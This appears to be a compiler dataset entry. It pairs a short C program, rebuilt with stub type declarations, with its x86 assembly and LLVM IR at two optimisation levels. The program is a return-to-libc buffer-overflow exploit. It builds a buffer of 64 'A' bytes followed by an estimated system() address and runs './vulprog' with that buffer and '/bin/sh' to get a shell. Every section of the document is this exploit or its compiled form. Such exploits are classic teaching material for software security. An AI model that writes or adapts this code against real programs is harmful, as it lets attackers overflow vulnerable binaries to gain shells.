#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int u_long;
typedef int /*<<< orphan*/ sysaddr;

/* Variables and functions */
int atoi(char *);
int /*<<< orphan*/ execl(char *, char *, char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, ...);
int /*<<< orphan*/ memset(char *, char, int);
int /*<<< orphan*/ printf(char *, int);
int /*<<< orphan*/ stderr;
int /*<<< orphan*/ system;
int main(int argc, char **argv) {
  register int i;
  u_long sysaddr;
  static char buf[64 + sizeof(u_long) + 1] = {0};
  if (argc <= 1) {
    fprintf(stderr, "Usage: %s <offset>\n", argv[0]);
    fprintf(stderr, "[offset = estimated system() offset]\n\n");
    exit(-1);
  }
  sysaddr = (u_long)&system - atoi(argv[1]);
  printf("trying system() at 0x%lx\n", sysaddr);
  memset(buf, 'A', 64);
  for (i = 0; i < sizeof(sysaddr); i++)
    buf[64 + i] = ((u_long)sysaddr >> (i * 8)) & 255;
  execl("./vulprog", "./vulprog", buf, "/bin/sh", NULL);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x20,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
cmpl   $0x1,-0x8(%rbp)
jg     11bf <main+0x5f>
mov    0x2e51(%rip),%rax
mov    (%rax),%edi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
lea    0xe69(%rip),%rsi
mov    $0x0,%al
call   1050 <fprintf@plt>
mov    0x2e33(%rip),%rax
mov    (%rax),%edi
lea    0xe66(%rip),%rsi
mov    $0x0,%al
call   1050 <fprintf@plt>
mov    $0xffffffff,%edi
call   1070 <exit@plt>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
call   1060 <atoi@plt>
mov    %eax,%ecx
mov    0x2e13(%rip),%rax
sub    %ecx,%eax
mov    %eax,-0x18(%rbp)
mov    -0x18(%rbp),%esi
lea    0xe57(%rip),%rdi
call   1030 <printf@plt>
lea    0x2e70(%rip),%rdi
mov    $0x41,%esi
mov    $0x40,%edx
call   1040 <memset@plt>
movl   $0x0,-0x14(%rbp)
movslq -0x14(%rbp),%rax
cmp    $0x4,%rax
jae    1247 <main+0xe7>
mov    -0x18(%rbp),%eax
mov    -0x14(%rbp),%ecx
shl    $0x3,%ecx
sar    %cl,%eax
and    $0xff,%eax
mov    %al,%dl
mov    -0x14(%rbp),%eax
add    $0x40,%eax
movslq %eax,%rcx
lea    0x2e2a(%rip),%rax
mov    %dl,(%rax,%rcx,1)
mov    -0x14(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x14(%rbp)
jmp    1206 <main+0xa6>
lea    0xe07(%rip),%rsi
lea    0x2e0b(%rip),%rdx
lea    0xe03(%rip),%rcx
xor    %eax,%eax
mov    %eax,%r8d
mov    %rsi,%rdi
call   1080 <execl@plt>
xor    %eax,%eax
add    $0x20,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r14
push   %rbx
push   %rax
cmp    $0x1,%edi
jle    11cd <main+0x6d>
mov    0x8(%rsi),%rdi
call   1060 <atoi@plt>
mov    0x2e70(%rip),%ebx
sub    %eax,%ebx
lea    0xeba(%rip),%rdi
mov    %ebx,%esi
call   1030 <printf@plt>
lea    0x2ed1(%rip),%r14
mov    %r14,%rdi
mov    $0x41,%esi
mov    $0x40,%edx
call   1040 <memset@plt>
mov    %ebx,0x2ef9(%rip)
lea    0xea7(%rip),%rdi
lea    0xeaa(%rip),%rcx
mov    %rdi,%rsi
mov    %r14,%rdx
xor    %r8d,%r8d
call   1080 <execl@plt>
xor    %eax,%eax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret
mov    0x2e04(%rip),%rbx
mov    (%rbx),%edi
mov    (%rsi),%rdx
lea    0xe20(%rip),%rsi
xor    %eax,%eax
call   1050 <fprintf@plt>
mov    (%rbx),%edi
lea    0xe24(%rip),%rsi
xor    %eax,%eax
call   1050 <fprintf@plt>
mov    $0xffffffff,%edi
call   1070 <exit@plt>

LLVM IR (-O0):
@main.buf = internal global [69 x i8] zeroinitializer
@stderr = global i32 0
@.str = [20 x i8] c"Usage: %s <offset>\0A\00"
@.str.1 = [39 x i8] c"[offset = estimated system() offset]\0A\0A\00"
@system = global i32 0
@.str.2 = [26 x i8] c"trying system() at 0x%lx\0A\00"
@.str.3 = [10 x i8] c"./vulprog\00"
@.str.4 = [8 x i8] c"/bin/sh\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%8 = load i32, i32* %4
%9 = icmp sle i32 %8, 1
br i1 %9, label %10, label %19
10: ; preds = %2
%11 = load i32, i32* @stderr
%12 = load i8**, i8*** %5
%13 = getelementptr inbounds i8*, i8** %12, i64 0
%14 = load i8*, i8** %13
%15 = call i32 (i32, i8*, ...) @fprintf(i32 %11, i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str, i64 0, i64 0), i8* %14)
%16 = load i32, i32* @stderr
%17 = call i32 (i32, i8*, ...) @fprintf(i32 %16, i8* getelementptr inbounds ([39 x i8], [39 x i8]* @.str.1, i64 0, i64 0))
%18 = call i32 @exit(i32 -1)
unreachable
19: ; preds = %2
%20 = load i8**, i8*** %5
%21 = getelementptr inbounds i8*, i8** %20, i64 1
%22 = load i8*, i8** %21
%23 = call i32 @atoi(i8* %22)
%24 = sub nsw i32 ptrtoint (i32* @system to i32), %23
store i32 %24, i32* %7
%25 = load i32, i32* %7
%26 = call i32 @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.2, i64 0, i64 0), i32 %25)
%27 = call i32 @memset(i8* getelementptr inbounds ([69 x i8], [69 x i8]* @main.buf, i64 0, i64 0), i8 signext 65, i32 64)
store i32 0, i32* %6
br label %28
28: ; preds = %43, %19
%29 = load i32, i32* %6
%30 = sext i32 %29 to i64
%31 = icmp ult i64 %30, 4
br i1 %31, label %32, label %46
32: ; preds = %28
%33 = load i32, i32* %7
%34 = load i32, i32* %6
%35 = mul nsw i32 %34, 8
%36 = ashr i32 %33, %35
%37 = and i32 %36, 255
%38 = trunc i32 %37 to i8
%39 = load i32, i32* %6
%40 = add nsw i32 64, %39
%41 = sext i32 %40 to i64
%42 = getelementptr inbounds [69 x i8], [69 x i8]* @main.buf, i64 0, i64 %41
store i8 %38, i8* %42
br label %43
43: ; preds = %32
%44 = load i32, i32* %6
%45 = add nsw i32 %44, 1
store i32 %45, i32* %6
br label %28
46: ; preds = %28
%47 = call i32 @execl(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([69 x i8], [69 x i8]* @main.buf, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0), i32* null)
ret i32 0
}

LLVM IR (-O2):
@main.buf = internal global [69 x i8] zeroinitializer
@stderr = global i32 0
@.str = [20 x i8] c"Usage: %s <offset>\0A\00"
@.str.1 = [39 x i8] c"[offset = estimated system() offset]\0A\0A\00"
@system = global i32 0
@.str.2 = [26 x i8] c"trying system() at 0x%lx\0A\00"
@.str.3 = [10 x i8] c"./vulprog\00"
@.str.4 = [8 x i8] c"/bin/sh\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = icmp slt i32 %0, 2
br i1 %3, label %4, label %11
4: ; preds = %2
%5 = load i32, i32* @stderr
%6 = load i8*, i8** %1
%7 = tail call i32 (i32, i8*, ...) @fprintf(i32 %5, i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str, i64 0, i64 0), i8* %6)
%8 = load i32, i32* @stderr
%9 = tail call i32 (i32, i8*, ...) @fprintf(i32 %8, i8* getelementptr inbounds ([39 x i8], [39 x i8]* @.str.1, i64 0, i64 0))
%10 = tail call i32 @exit(i32 -1)
unreachable
11: ; preds = %2
%12 = getelementptr inbounds i8*, i8** %1, i64 1
%13 = load i8*, i8** %12
%14 = tail call i32 @atoi(i8* %13)
%15 = sub nsw i32 ptrtoint (i32* @system to i32), %14
%16 = tail call i32 @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str.2, i64 0, i64 0), i32 %15)
%17 = tail call i32 @memset(i8* getelementptr inbounds ([69 x i8], [69 x i8]* @main.buf, i64 0, i64 0), i8 signext 65, i32 64)
%18 = trunc i32 %15 to i8
store i8 %18, i8* getelementptr inbounds ([69 x i8], [69 x i8]* @main.buf, i64 0, i64 64)
%19 = lshr i32 %15, 8
%20 = trunc i32 %19 to i8
store i8 %20, i8* getelementptr inbounds ([69 x i8], [69 x i8]* @main.buf, i64 0, i64 65)
%21 = lshr i32 %15, 16
%22 = trunc i32 %21 to i8
store i8 %22, i8* getelementptr inbounds ([69 x i8], [69 x i8]* @main.buf, i64 0, i64 66)
%23 = lshr i32 %15, 24
%24 = trunc i32 %23 to i8
store i8 %24, i8* getelementptr inbounds ([69 x i8], [69 x i8]* @main.buf, i64 0, i64 67)
%25 = tail call i32 @execl(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.3, i64 0, i64 0), i8* getelementptr inbounds ([69 x i8], [69 x i8]* @main.buf, i64 0, i64 0), i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.4, i64 0, i64 0), i32* null)
ret i32 0
}